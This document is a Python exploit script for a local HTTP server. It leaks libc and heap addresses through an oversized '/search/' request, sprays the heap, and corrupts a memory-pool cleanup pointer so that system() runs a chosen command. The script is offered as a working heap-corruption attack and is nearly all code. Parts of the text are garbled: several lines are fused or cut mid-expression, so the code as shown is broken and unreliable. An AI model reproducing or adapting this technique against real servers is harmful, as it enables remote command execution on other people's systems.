import argparse, socket, struct, sys, time, os HOST, PORT = "127.0.0.1", 19322 BODY_LEN = 4000 N_SPRAY = 8 # leak (Debian glibc 2.41; mmap-sled fails, use the off-1729 libc-cluster ptr after churn) LIBC_OFF_SYSTEM = 0x53110 OFF_LIBC_LEAK = 1729 OFF_LIBC_DELTA = 0xb0ad08 OFF_HEAP_REF = 1489 HEAP_REF_DELTA = 0x28610 WARMUP = 40 # rift geometry (gdb-measured on Debian release heap) N_PAD = 9 K_ESC = 1005 TARGET_OFF = N_PAD + 3*K_ESC # = 0xbd0 = v->cleanup_field - S (fixpoint: S rises with URI len) N_EMPTY = 16 # 16 empties evict the wedged conn pool so v lands close to S CLEANUP_VAL_OFF = 0x1001f8 # v->pool->cleanup value = heap_base + this -> block heap+0x100000 CMD_HOLDER_OFF = 0x28680 # spray #0 (cmd-holder) body lands here REC_RUNS = [(0xe4ef0,167),(0xe7f20,167),(0xeb760,167),(0xeefa0,167),(0xf27e0,167),(0xf6020,167), (0xf9860,167),(0x100320,167),(0x103b60,167),(0x1073a0,167),(0x10abe0,167),(0x10e630,167), (0x112080,167),(0x115ad0,167),(0x119520,167),(0x11cf70,167),(0x1209c0,167),(0x124410,167), (0x127e60,167),(0x12b8b0,167),(0x12f300,167),(0x132d50,167),(0x1367a0,167),(0x13a1f0,167)] SAFE = set() _t = [0xffffffff,0xd800086d,0x50000000,0xb8000001,0xffffffff,0xffffffff,0xffffffff,0xffffffff] for _b in range(256): if not (_t[_b>>5] & (1<<(_b&0x1f))): SAFE.add(_b) def send_raw(req, t=6): s=socket.socket();s.settimeout(t);s.connect((HOST,PORT));s.sendall(req);ch=[] try: while True: d=s.recv(8192) if not d:break ch.append(d) except socket.timeout: pass s.close();return b"".join(ch) def poolslip_leak(): for _ in range(WARMUP): send_raw(b"GET /search/"+b"+"*300+b" HTTP/1.1\r\nHost:x\r\nConnection:close\r\n\r\n") resp=send_raw(b"GET /search/"+b"+"*350+b" HTTP/1.1\r\nHost:x\r\nConnection:close\r\n\r\n") h=resp.find(b"\r\n\r\n") if h<0:return b"" body=resp[h+4:].rstrip(b"\n"); pre=b"Search temporarily unavailable. Query: " return body[len(pre):] if body.startswith(pre) else b"" def derive(args): if len(args)>8)&0xff) in SAFE def pick_yyyy(heap_base): block=(heap_base+CLEANUP_VAL_OFF)&~0xffff; cl=heap_base+CLEANUP_VAL_OFF; cands=[] for run,cnt in REC_RUNS: for k in range(cnt): a=heap_base+run+24*k if block<=a 0x%x cmd@0x%x"%(block,yy,block|yy,cmd_ptr)) tgt=bytes([yy&0xff,(yy>>8)&0xff]); cb=make_cmd(a.cmd); tb=make_tiled(system,cmd_ptr) for t in range(a.tries): if attempt(tgt,cb,tb): return 0 time.sleep(0.3) print("[-] no fire"); return 0 if __name__=="__main__": sys.exit(main())